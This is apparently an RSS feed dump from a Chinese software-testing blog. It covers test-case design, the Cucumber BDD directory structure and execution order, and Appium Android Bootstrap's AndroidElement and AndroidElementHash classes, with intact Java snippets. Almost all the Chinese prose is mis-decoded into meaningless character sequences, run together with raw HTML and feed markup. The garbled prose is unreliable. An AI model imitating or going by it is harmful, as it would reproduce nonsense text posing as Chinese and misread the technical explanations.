style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆a.闇瑕佸浠ヤ笅鍚勭瀹夎鎯呭喌璁捐嫻嬭瘯鐢ㄤ緥錛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鍒嗗彂浠嬭川錛堝紓佺洏錛孋D-ROM鍜屾枃浠舵湇鍔″櫒錛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆棣栨瀹夎</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆瀹屽叏瀹夎</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鑷畾涔夊畨瑁?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鍗囩駭瀹夎</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆b.嫻嬭瘯鐩爣搴斿寘鎷墍鏈夋瀯浠剁殑瀹夎</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆瀹㈡埛鏈猴紝涓棿灞傦紝鏈嶅姟鍣?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆錛?錛変負(fù)鍏朵粬闈炲姛鑳芥ф祴璇曠敓鎴愭祴璇曠敤渚?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆濡傛搷浣滄祴璇曪紝瀵規(guī)ц兘鐡墮錛岀郴緇熷閲忔垨嫻嬭瘯鐩爣鐨勫己搴︽壙鍙楄兘鍔涜繘琛岃皟鏌ョ殑嫻嬭瘯鐢ㄤ緥</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆<strong style="word-break: break-all; line-height: normal !important;">4.鍦?a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">鐧界洅嫻嬭瘯</strong></u></a>鍙?a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">榛戠洅嫻嬭瘯</strong></u></a>鐨勫悓鏃墮兘搴旇榪涜鍙潬鎬ф祴璇曘?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">銆銆5.涓轟駭鍝侀獙鏀舵祴璇曠敓鎴愭祴璇曠敤渚?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">銆銆6.涓哄洖褰掓祴璇曠紪鍒舵祴璇曠敤渚?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆a.鍥炲綊嫻嬭瘯鏄瘮杈冨悓涓嫻嬭瘯鐩爣鐨勪袱涓増鏈垨鐗堟湰錛屽茍灝嗗皢宸紓紜畾涓烘綔鍦ㄧ殑緙洪櫡銆?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆b.涓轟嬌嫻嬭瘯鐢ㄤ緥鍙戞尌鍥炲綊嫻嬭瘯鍜屽鐢ㄧ殑浠峰鹼紝鍚屾椂灝嗙淮鎶ゆ垚鏈噺鑷蟲渶浣庯紝搴旓細(xì)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆紜繚嫻嬭瘯鐢ㄤ緥鍙‘瀹氬叧閿殑鏁版嵁鍏冪礌錛堝垱寤?鏀寔琚祴璇曠殑鏉′歡鏀寔鐨勬祴涓婅瘯鐢ㄤ緥錛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆紜繚姣忎釜嫻嬭瘯鐢ㄤ緥閮借鏄庢垨浠h〃涓涓敮涓鐨勮緭鍏ラ泦鎴栦簨浠跺簭鍒楋紝鍏剁粨鏋滄槸鐙壒鐨勬祴璇曠洰鏍囪涓?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆娑堥櫎澶氫綑鎴栫瓑鏁堢殑嫻嬭瘯鐢ㄤ緥</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆灝嗗叿鏈夌浉鍚岀殑嫻嬭瘯鐩爣鍒濆鐘舵佸拰嫻嬭瘯鏁版嵁鐘舵佺殑嫻嬭瘯鐢ㄤ緥緇勫悎鍦ㄤ竴璧?/div><img src ="http://www.tkk7.com/qileilove/aggbug/423594.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/qileilove/" target="_blank">欏哄叾鑷劧EVO</a> 2015-03-18 22:00 <a href="http://www.tkk7.com/qileilove/archive/2015/03/18/423594.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>琛屼負(fù)椹卞姩寮鍙? Cucumber鐨勭洰褰曠粨鏋勫拰鎵ц榪囩▼http://www.tkk7.com/qileilove/archive/2014/12/28/421891.html欏哄叾鑷劧EVO欏哄叾鑷劧EVOSat, 27 Dec 2014 17:29:00 GMThttp://www.tkk7.com/qileilove/archive/2014/12/28/421891.htmlhttp://www.tkk7.com/qileilove/comments/421891.htmlhttp://www.tkk7.com/qileilove/archive/2014/12/28/421891.html#Feedback0http://www.tkk7.com/qileilove/comments/commentRss/421891.htmlhttp://www.tkk7.com/qileilove/services/trackbacks/421891.html琛屼負(fù)椹卞姩寮鍙? Cucumber鐨勭洰褰曠粨鏋勫拰鎵ц榪囩▼

      Cucumber鏄疪uby涓栫晫鐨凚DD妗嗘灦錛屽紑鍙戜漢鍛樹富瑕佷笌涓ょ被鏂囦歡鎵撲氦鍒幫紝Feature鏂囦歡鍜岀浉搴旂殑Step鏂囦歡銆侳eature鏂囦歡鏄互feature涓哄悗緙鍚嶇殑鏂囦歡錛屼互Given-When-Then鐨勬柟寮忔弿榪頒簡(jiǎn)緋葷粺鐨勫満鏅?scenarios)琛屼負(fù)錛汼tep鏂囦歡涓烘櫘閫氱殑Ruby鏂囦歡錛孎eature鏂囦歡涓殑姣忎釜Given/When/Then姝ラ鍦⊿tep鏂囦歡涓兘鏈夊搴旂殑Ruby鎵ц浠g爜錛屼袱綾繪枃浠墮氳繃姝e垯琛ㄨ揪寮忕浉鍏寵仈銆傜瑪鑰呭湪鐢–ucumber+Watir鍋氬洖褰掓祴璇曟椂瀵笴ucumber宸ョ▼鐨勭洰褰曠粨鏋勬墽琛岃繃紼嬭繘琛屼簡(jiǎn)鐮旂┒銆?/p>

瀹夎濂紺ucumber鍚庯紝濡傛灉鍦ㄧ粓绔洿鎺ユ墽琛宑ucumber鍛戒護(hù)錛屽緱鍒頒互涓嬭緭鍑猴細(xì)

杈撳嚭緇撴灉琛ㄦ槑錛歝ucumber鏈熷緟褰撳墠鐩綍涓嬪瓨鍦ㄥ悕涓篺eatures鐨勫瓙鐩綍銆傚緩濂絝eatures鏂囦歡澶瑰悗錛岄噸鏂版墽琛宑ucumber鍛戒護(hù)錛岃緭鍑哄涓嬶細(xì)

Cucumber榪愯鎴愬姛錛屼絾鐢變簬features鏂囦歡澶逛笅娌℃湁浠諱綍鍐呭錛屾晠寰楀埌涓婅堪杈撳嚭緇撴灉銆?/p>

緗戜笂澶у鏁板叧浜嶤ucumber鐨勬暀紼嬮兘寤鴻閲囩敤浠ヤ笅鐩綍緇撴瀯錛屾墍鏈夌殑鏂囦歡錛堝す錛夐兘浣嶄簬features鏂囦歡澶逛笅銆?/p>

Feature鏂囦歡錛堝test.feature錛夌洿鎺ヤ綅浜巉eatures鏂囦歡澶逛笅錛屽彲浠ヤ負(fù)姣忎釜搴旂敤鍦烘櫙鍒涘緩涓涓狥eature鏂囦歡錛涗笌Feature鏂囦歡瀵瑰簲鐨凷tep鏂囦歡錛堝test.rb錛変綅浜巗tep_definitions瀛愭枃浠跺す涓嬶紱鍚屾椂錛屽瓨鍦╯upport瀛愭枃浠跺す錛屽叾涓嬬殑env.rb鏂囦歡涓虹幆澧冮厤緗枃浠躲傚湪榪欐牱鐨勭洰褰曠粨鏋勬潯浠朵笅鎵цcucumber鍛戒護(hù)錛屼細(xì)棣栧厛鎵цenv.rb鍋氬墠鏈熷噯澶囧伐浣滐紝姣斿鍙互鐢╓atir鏂板緩嫻忚鍣ㄧ獥鍙o紝鐒跺悗Cucumber灝唗est.rb鏂囦歡璇誨叆鍐呭瓨錛屾渶鍚庢墽琛宼est.feature鏂囦歡錛屽綋閬囧埌Given/When/Then姝ラ鏃訛紝Cucumber灝嗗湪test.rb涓悳绱㈡槸鍚︽湁鐩稿簲鐨剆tep錛屽鏋滄湁錛屽垯鎵ц鐩稿簲鐨凴uby浠g爜銆?/p>

榪欐牱鐨勭洰褰曠粨鏋勫彧鏄帹鑽愮殑鐩綍緇撴瀯錛岀瑪鑰呴氳繃鍙嶅鐨勮瘯楠屽緱鍑轟簡(jiǎn)浠ヤ笅緇撹錛氬浜嶤ucumber鑰岃█錛岄櫎浜?jiǎn)椤跺眰鐨刦eatures鏂囦歡澶規(guī)槸寮哄埗鎬х殑涔嬪錛屽叾瀹冪洰褰曠粨鏋勯兘涓嶆槸寮哄埗鎬х殑錛孋ucumber灝嗗features鏂囦歡澶逛笅鐨勬墍鏈夊唴瀹硅繘琛屾墎騫沖寲錛坒latten錛夊鐞嗗拰棣栧瓧姣嶆帓搴忋傚叿浣撴潵璇達(dá)紝Cucumber鍦ㄨ繍琛屾椂錛岄鍏堝皢閫掑綊鐨勬墽琛宖eatures鏂囦歡澶逛笅鐨勬墍鏈塕uby鏂囦歡(鍏朵腑鍒欏寘鎷琒tep鏂囦歡)錛岀劧鍚庨氳繃鐩稿悓鐨勬柟寮忔墽琛孎eature鏂囦歡銆備絾鏄紝濡傛灉features鏂囦歡澶逛笅瀛樺湪support瀛愭枃浠跺す錛屽茍涓攕upport涓嬫湁鍚嶄負(fù)env.rb鐨勬枃浠訛紝Cucumber灝嗛鍏堟墽琛岃鏂囦歡錛岀劧鍚庢墽琛宻upport涓嬬殑鍏跺畠鏂囦歡錛屽啀閫掑綊鎵цfeatues涓嬬殑鍏跺畠鏂囦歡銆?/p>

姣斿鏈夊涓婥ucumber鐩綍緇撴瀯錛?/p>

涓轟簡(jiǎn)鏂逛究璁板綍Cucumber榪愯鏃剁殑鏂囦歡鎵ц欏哄簭錛屽湪features鏂囦歡澶逛笅鐨勬墍鏈塕uby鏂囦歡涓姞涓婁互涓嬩唬鐮侊細(xì)

puts File.basename(__FILE__)

姝よ浠g爜鐨勪綔鐢ㄦ槸鍦ㄤ竴涓猂uby鏂囦歡鎵ц鏃惰緭鍑?guó)櫙ユ枃錃g鐨勫悕瀛楋紝姝ゆ椂鎵цcucumber鍛戒護(hù)錛屽緱鍒頒互涓嬭緭鍑猴紙閮ㄥ垎錛夌粨鏋滐細(xì)

涓婂浘鍗充負(fù)Ruby鏂囦歡鐨勬墽琛岄『搴忥紝鍙互鐪嬪嚭錛宻upport鏂囦歡澶逛笅env.rb鏂囦歡棣栧厛琚墽琛岋紝鍏舵鎸夌収瀛楁瘝鎺掑簭鎵цc.rb鍜宒.rb錛涙帴涓嬫潵錛孋ucumber灝唂eatures鏂囦歡澶逛笅鐨勬墍鐢ㄦ枃浠訛紙澶癸級(jí)鎵佸鉤鍖栵紝騫舵寜瀛楁瘝欏哄簭鎺掑簭錛屼粠鑰屽厛鎵цa.rb鍜宐.rb錛岃岀敱浜巓ther鏂囦歡澶規(guī)帓鍦╯tep_definitions鏂囦歡澶圭殑鍓嶉潰錛屾墍浠ュ厛鎵цother鏂囦歡澶逛笅鐨凴uby鏂囦歡錛堜篃鏄寜瀛楁瘝欏哄簭鎵ц錛氬厛f.rb錛岀劧鍚巊.rb錛夛紝鏈鍚庢墽琛宻tep_definitions涓嬬殑e.rb銆?/p>

褰撴墽琛屽畬鎵鏈塕uby鏂囦歡鍚庯紝Cucumber寮濮嬩緷嬈¤鍙朏eature鏂囦歡錛屾墽琛岄『搴忎篃鍜屽墠榪頒竴鏍鳳紝鍗? a.feature --> b.feature --> c.feature

絎旇呰繕鍙戠幇錛岃繖浜汻uby鏂囦歡鐢氳嚦鍙互浣嶄簬features鏂囦歡澶逛箣澶栫殑浠諱綍鍦版柟錛屽彧鏄渶瑕佸湪浣嶄簬features鏂囦歡澶逛箣鍐呯殑Ruby鏂囦歡涓璻equire涓涓嬶紝姣斿鍦╡nv.rb涓?/p>



]]>
Appium Android Bootstrap涔嬫帶浠禔ndroidElementhttp://www.tkk7.com/qileilove/archive/2014/12/23/421669.html欏哄叾鑷劧EVO欏哄叾鑷劧EVOMon, 22 Dec 2014 16:26:00 GMThttp://www.tkk7.com/qileilove/archive/2014/12/23/421669.htmlhttp://www.tkk7.com/qileilove/comments/421669.htmlhttp://www.tkk7.com/qileilove/archive/2014/12/23/421669.html#Feedback0http://www.tkk7.com/qileilove/comments/commentRss/421669.htmlhttp://www.tkk7.com/qileilove/services/trackbacks/421669.htmlAndroidElementHash鐨勮繖涓猤etElement鍛戒護(hù)瑕佸仛鐨勪簨鎯呭氨鏄拡瀵硅繖涓ょ偣鏉ユ牴鎹笉鍚屾儏鍐佃幏寰楃洰鏍囨帶浠?/div>
/**
* Return an elements child given the key (context id), or uses the selector
* to get the element.
*
* @param sel
* @param key
*          Element id.
* @return {@link AndroidElement}
* @throws ElementNotFoundException
*/
public AndroidElement getElement(final UiSelector sel, final String key)
throws ElementNotFoundException {
AndroidElement baseEl;
baseEl = elements.get(key);
UiObject el;
if (baseEl == null) {
el = new UiObject(sel);
} else {
try {
el = baseEl.getChild(sel);
} catch (final UiObjectNotFoundException e) {
throw new ElementNotFoundException();
}
}
if (el.exists()) {
return addElement(el);
} else {
throw new ElementNotFoundException();
}
}
銆銆濡傛灉鏄1縐嶆儏鍐靛氨鐩存帴閫氳繃閫夋嫨瀛愭瀯寤篣iObject瀵硅薄錛岀劧鍚庨氳繃addElement鎶奤iObject瀵硅薄杞崲鎴怉ndroidElement瀵硅薄淇濆瓨鍒版帶浠跺搱甯岃〃
銆銆濡傛灉鏄2縐嶆儏鍐靛氨鍏堟牴鎹產(chǎn)ppium浼犺繃鏉ョ殑鎺т歡鍝堝笇琛ㄩ敭鍊艱幏寰楃埗鎺т歡錛屽啀閫氳繃瀛愭帶浠剁殑閫夋嫨瀛愬湪鐖舵帶浠剁殑鍩虹涓婃煡鎵懼埌鐩爣UiObject鎺т歡錛屾渶鍚庤窡涓婇潰涓鏍鋒妸璇ユ帶浠墮氳繃涓婇潰鐨刟ddElement鎶奤iObject鎺т歡杞崲鎴怉ndroidElement鎺т歡瀵硅薄淇濆瓨鍒版帶浠跺搱甯岃〃
銆4. 姹傝瘉
銆銆涓婇潰鏈夋彁榪囷紝濡傛灉pc绔殑鑴氭湰鎵ц瀵瑰悓涓涓帶浠剁殑涓ゆfindElement浼?xì)鍒涘晦Z袱涓笉鍚宨d鐨凙ndroidElement騫跺瓨鏀懼埌鎺т歡鍝堝笇琛ㄤ腑錛岄偅涔堜負(fù)浠涔坅ppium鐨勫洟闃熸病鏈夊仛涓涓寮猴紝澧炲姞涓涓猭eyMap鐨勬柟娉曪紙綆楁硶錛夊拰涓浜涢澶栫殑淇℃伅鏉ヨ鍚屼竴涓帶浠朵嬌鐢ㄤ笉鍚岀殑key鐨勬椂鍊欏搴旂殑榪樻槸鍚屼竴涓狝ndroidElement鎺т歡鍛紵姣曠珶榪欐墠鏄搱甯岃〃瀹炵敤鐨勭壒鎬т箣涓浜?jiǎn)锛屼笉鐒朵綘鐩存帴鐢ㄤ竴涓狣ictionary涓嶅氨瀹屼簨浜?jiǎn)锛熅|戜笂璇翠簡(jiǎn)鍑犵偣hashtable鍜宒ictionary鐨勫樊鍒紝濡傚綰跨▼鐜鏈濂戒嬌鐢ㄥ搱甯岃〃鑰岄潪瀛楀吀絳夛紝浣嗗湪bootstrap榪欎釜鎺т歡鍝堝笇琛ㄧ殑鎯呭喌涓嬫垜涓嶆槸寰堜俊鏈嶈繖浜涜娉曪紝鏈夎皝娓呮鐨勮繕鍔崇儲(chǔ)鎸囩偣涓浜屼簡(jiǎn)
銆銆榪欓噷鑷充簬涓轟粈涔坅ppium涓嶅幓鎻愪緵棰濆鐨刱ey淇℃伅騫朵笖瀹炵幇keyMap綆楁硶錛屾垜涓漢鍊掓槸璁や負(fù)鏈夊涓嬪師鍥狅細(xì)
銆銆鏈夎皝榪欎箞鏃犺亰鍦ㄥ悓涓涓祴璇曟柟娉曚腑瀵瑰悓涓涓帶浠舵煡鎵句袱嬈★紵
銆銆濡傛灉鍚屼竴涓帶浠惰繍鐢ㄤ笉鍚岀殑閫夋嫨瀛愭煡鎵句袱嬈$殑璇濓紝鍥犱負(fù)鏈緇堝簳灞傜殑UiObject鐨勬垚鍛樺彉閲廢iSelector mSelector涓嶄竴鏍鳳紝鎵浠ョ‘瀹炲彲浠ヨ涓烘槸涓嶅悓鐨勬帶浠?/div>
銆銆浣嗕互涓嬩袱涓鏋滅敤鍚屾牱鐨刄iSelector閫夋嫨瀛愭潵鏌ユ壘鎺т歡鐨勬儏鍐墊垜灝辮В鏋愪笉浜?jiǎn)浜?jiǎn)錛屾瘯绔熷湪鎴戠湅鏉ootstrap榪欒竟搴旇鎶婂畠浠湅鎴愭槸鍚屼竴涓璞$殑錛?/div>
銆銆鍚屼竴涓剼鏈笉鍚岀殑鏂規(guī)硶涓垎鍒鍚屼竴鎺т歡鐢ㄥ悓鏍風(fēng)殑UiSelelctor閫夋嫨瀛愯繘琛屾煡鎵懼憿錛?/div>
銆銆涓嶅悓鑴氭湰涓憿錛?/div>
銆銆榪欎簺涔熻鍦ㄤ粖鍚庢繁鍏ヤ簡(jiǎn)瑙d腑寰楀埌瑙e喅錛屼絾鐪嬪濡傛灉鐭ラ亾鐨勶紝榪樻湜涓嶅悵璧愭暀
銆銆5. 灝忕粨
銆銆鏈鍚庢垜浠bootstrap鐨勬帶浠剁浉鍏崇煡璇嗙偣鍋氫竴涓葷粨
銆銆AndroidElement鐨勪竴涓疄渚嬩唬琛ㄤ簡(jiǎn)涓涓猙ootstrap鐨勬帶浠?/div>
銆銆AndroidElement鎺т歡鐨勬垚鍛樺彉閲廢iObject el浠h〃浜?jiǎn)uiautomator妗嗘灦涓殑涓涓湡瀹炵獥鍙f帶浠訛紝閫氳繃瀹冨氨鍙互鐩存帴閫忚繃uiautomator妗嗘灦瀵規(guī)帶浠惰繘琛屽疄璐ㄦф搷浣?/div>
銆銆pc绔殑WebElement鍏冪礌鍜孊ootstrap鐨凙ndroidElement鎺т歡鏄氳繃AndroidElement鎺т歡鐨凷tring id榪涜鏄犲皠鍏寵仈鐨?/div>
銆銆AndroidElementHash綾葷淮鎶や簡(jiǎn)涓涓互AndroidElement鐨刬d涓洪敭鍊鹼紝浠ndroidElement鐨勫疄渚嬩負(fù)value鐨勫叏灞鍞竴鍝堝笇琛紝pc绔兂瑕佽幏寰椾竴涓帶浠剁殑鏃跺欎細(xì)鍏堜粠榪欎釜鍝堝笇琛ㄦ煡鎵撅紝濡傛灉娌℃湁浜?jiǎn)鍐嶅垱寰忔柊鐨凙ndroidElement鎺т歡騫跺姞鍏ュ埌璇ュ搱甯岃〃涓紝鎵浠ヨ鍝堝笇琛ㄤ腑緇存姢鐨勬槸涓涓綋鍓嶅凡緇忎嬌鐢ㄨ繃鐨勬帶浠?/div>
鐩稿叧鏂囩珷錛?/div>
Appium Android Bootstrap婧愮爜鍒嗘瀽涔嬬畝浠?/div>
銆閫氳繃涓婁竴綃?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;">鏂囩珷銆?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;">Appium Android Bootstrap婧愮爜鍒嗘瀽涔嬬畝浠嬨嬫垜浠bootstrap鐨勫畾涔変互鍙?qiáng)鍏跺湪appium鍜寀iautomator澶勪簬涓涓粈涔堟牱鐨勪綅緗湁浜?jiǎn)涓涓垵姝ョ殑浜?jiǎn)瑙eQ岄偅涔堟寜鐓ф甯哥殑鍐欎功鐨勬濊礬錛屼笅涓涓珷鑺傚簲璇ュ氨瑕佸幓鐪媌ootstrap鏄浣曞緩绔媠ocket鏉ヨ幏鍙栨暟鎹劧鍚庢庢牱榪涜澶勭悊鐨勪簡(jiǎn)銆備絾鏈漢瑙夊緱榪欐牱瀛愬仛騫朵笉浼?xì)澶ソ锛屽洜湄?fù)鍒版椂鏁寸瘒鏂囩珷浼?xì)鍙樺緱闈炲父鐨勫啑闀垮Q屽洜涓轟綘鍦ㄧ紪鍐欑殑榪囩▼涓鍒頒笉璁よ瘑鐨勭被鍙堣璺沖叆榪涘幓榪涜璇存槑鍒嗘瀽銆傝繖閲屾垜瑙夊緱搴旇灝濊瘯鍚稿彇钁楀悕鐨勩婇噸鏋勩嬭繖鏈功鐨勫緩璁細(xì)涓涓柟娉曠殑浠g爜涓嶈鍐欏緱澶暱錛屼笉鐒跺彲璇繪т細(xì)寰堝樊錛屽敖閲忔妸鍏跺垎瑙f垚涓嶅悓鐨勫嚱鏁般傞偅鎴戜滑榪欓噷灝辨槸鐢ㄧ被浼肩殑鎬濇兂錛屼笉瑕佸皾璇曞湪涓涓枃绔犱腑鎶婃墍鏈夌殑浜嬫儏閮藉仛瀹岋紝鑰屾槸灝濊瘯鍏堟妸鍏抽敭鐨勭被緇欐弿榪版竻妤氾紝鏈鍚庢墠鍘繪妸榪欎簺綾婚氳繃涓涓疄渚嬪垎鏋愮粰涓茶搗鏉ュ憟鐜扮粰璇昏咃紝榪欐牱澶у灝變笉浼?xì)鍥犱皋Z竴涓枃绔犲お闀垮獎(jiǎng)鍝嶅彲璇繪ц屾斁寮冨線涓?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;">瀛︿範(fàn)浜?jiǎn)銆?/div>
銆銆閭d箞鎴戜滑榪欓噷涓轟粈涔堝厛璇碽ootstrap瀵規(guī)帶浠剁殑澶勭悊錛岃岄潪鍒氭墠鎻愬埌鐨剆ocket鐩稿叧鐨剆ocket鏈嶅姟鍣ㄧ殑寤虹珛鍛紵鎴戞槸榪欐牱瀛愮湅寰呯殑錛屽ぇ瀹剁湅鍒版湰浜鴻繖綃囨枃绔犵殑鏃跺欙紝寰堟湁鍙兘涔嬪墠宸茬粡浜?jiǎn)瑙q囨湰浜洪拡瀵箄iautomator婧愮爜鍒嗘瀽閭d釜緋誨垪鐨勬枃绔犱簡(jiǎn)錛屾垨鑰呭凡緇忔湁uiautomator鐨勭浉鍏崇煡璇嗭紝鎵浠ヨ剳琚嬮噷浼?xì)姣旇緝杩垏鐨勬兂鐭ラ亾绌剁珶appium鏄庝箞榪愮敤浜?jiǎn)uiautomator鐨勶紝閭d箞鍦╝ppium涓簬榪欎釜闂鏈璐村垏鐨勫氨鏄痑ppium鍦ㄦ湇鍔″櫒绔槸鎬庝箞浣跨敤浜?jiǎn)uiautomator鐨勬帶浠剁殑銆?/div>
銆銆榪欓噷鎴戜滑涓昏浼?xì)鍒嗘瀽涓や釜绫诲Q?/strong>
銆銆AndroidElement:浠h〃浜?jiǎn)bootstrap鎸佹湁鐨勪竴涓猽i鐣岄潰鐨勬帶浠剁殑綾伙紝瀹冩嫢鏈変竴涓猆iObject鎴愬憳瀵硅薄鍜屼竴涓唬琛ㄥ叾鍦ㄤ笅闈㈢殑鍝堝笇琛ㄧ殑閿肩殑String綾誨瀷鎴愬憳鍙橀噺id
銆銆AndroidElementsHash:鎸佹湁浜?jiǎn)涓涓寘鍚墍鏈塨ootstrap錛堜篃灝辨槸appium錛夋浘緇忚鍒拌繃鐨勶紙涔熷氨鏄剼鏈唬鐮佷腑findElement鏂規(guī)硶鎵懼埌榪囩殑錛夋帶浠剁殑鍝堝笇琛紝瀹冪殑key灝辨槸AndroidElement涓殑id錛屾瘡褰揳ppium閫氳繃findElement鎵懼埌涓涓柊鎺т歡榪欎釜id灝變細(xì)錛?錛孉ppium鐨刾c绔拰bootstrap绔兘浼?xì)鎸佹湁杩欎釜鎺т欢鐨刬d閿鹼紝褰撻渶瑕佽皟鐢ㄤ竴涓帶浠剁殑鏂規(guī)硶鏃跺氨闇瑕佹妸浠h〃榪欎釜鎺т歡鐨刬d閿間紶榪囨潵璁゜ootstrap鍙互浠庤繖涓搱甯岃〃鎵懼埌瀵瑰簲鐨勬帶浠?/div>
銆銆1. AndroidElement鍜孶iObject鐨勭粍鍚堝叧緋?/strong>
銆銆浠庝笂闈㈢殑鎻忚堪鎴戜滑鍙互鐭ラ亾錛孉ndroidElement榪欎釜綾婚噷闈㈡嫢鏈変竴涓猆iObject榪欎釜鍙橀噺錛?/div>
銆銆public class AndroidElement {
銆銆private final UiObject el;
銆銆private String         id;
銆銆...
銆銆}
銆銆澶у閮界煡閬揢iObject鍏跺疄灝辨槸UiAutomator閲岄潰浠h〃涓涓帶浠剁殑綾伙紝閫氳繃瀹冨氨鑳藉瀵規(guī)帶浠惰繘琛屾搷浣滐紙褰撶劧鏈緇堣繕鏄氳繃UiAutomation妗嗘灦). AnroidElement灝辨槸閫氳繃瀹冩潵璺烾iAutomator鍙戠敓鍏崇郴鐨勩傛垜浠彲浠ョ湅鍒頒笅闈㈢殑AndroidElement鐨勭偣鍑籧lick鏂規(guī)硶鍏跺疄灝辨槸寰堝共鑴嗙殑璋冪敤浜?jiǎn)UiObject鐨刢lick鏂規(guī)硶錛?/div>
銆銆public boolean click() throws UiObjectNotFoundException {
銆銆return el.click();
銆銆}
銆銆褰撶劧榪欓噷闄や簡(jiǎn)click榪樻湁寰堝鎺т歡鐩稿叧鐨勬搷浣滐紝姣斿dragTo,getText,longClick絳夛紝浣嗘棤涓渚嬪錛岄兘鏄氳繃UiObject鏉ュ疄鐜扮殑錛岃繖閲屽氨涓嶄竴涓鍒椾婦浜?jiǎn)銆?/div>
銆銆2. 鑴氭湰鐨刉ebElement鍜孊ootstrap鐨凙ndroidElement鐨勬槧灝勫叧緋?/strong>
銆銆鎴戜滑鍦ㄨ剼鏈笂瀵規(guī)帶浠剁殑璁よ瘑灝辨槸涓涓猈ebElement:
銆銆WebElement addNote =  driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");
銆銆鑰屽湪Bootstrap涓竴涓璞″氨鏄竴涓狝ndroidElement. 閭d箞瀹冧滑鏄庝箞鏄犲皠鍒頒竴璧風(fēng)殑鍛紵鎴戜滑鍏跺疄鍙互鍏堢湅濡備笅鐨勪唬鐮侊細(xì)
銆銆WebElement addNote = driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");
銆銆addNote.getText();
銆銆addNote.click();
銆銆鍋氱殑浜嬫儏灝辨槸鑾峰緱Notes榪欎釜app鐨勮彍鍗曪紝鐒跺悗璋冪敤鎺т歡鐨刧etText鏉ヨ幏寰?#8216;Add note'鎺т歡鐨勬枃鏈俊鎭紝浠ュ強(qiáng)閫氳繃鎺т歡鐨刢lick鏂規(guī)硶鏉ョ偣鍑昏鎺т歡銆傞偅涔堟垜浠湅涓嬭皟璇曚俊鎭槸鎬庢牱鐨勶細(xì)

pc绔紶榪囨潵鐨刯son瀛椾覆鏈夊嚑涓猣ields錛?/div>
銆銆cmd:浠h〃榪欎釜鏄粈涔堝懡浠ょ被鍨嬶紝鍏跺疄灝辨槸AndroidCommandType鐨勯偅涓や釜鍊?/div>
銆銆package io.appium.android.bootstrap;
銆銆/**
銆銆* Enumeration for all the command types.
銆銆*
銆銆*/
銆銆public enum AndroidCommandType {
銆銆ACTION, SHUTDOWN
銆銆}
銆銆action: 鍏蜂綋鍛戒護(hù)
銆銆params: 鎻愪緵鐨勫弬鏁幫紝榪欓噷鎻愪緵浜?jiǎn)涓涓猠lementId鐨勯敭鍊煎
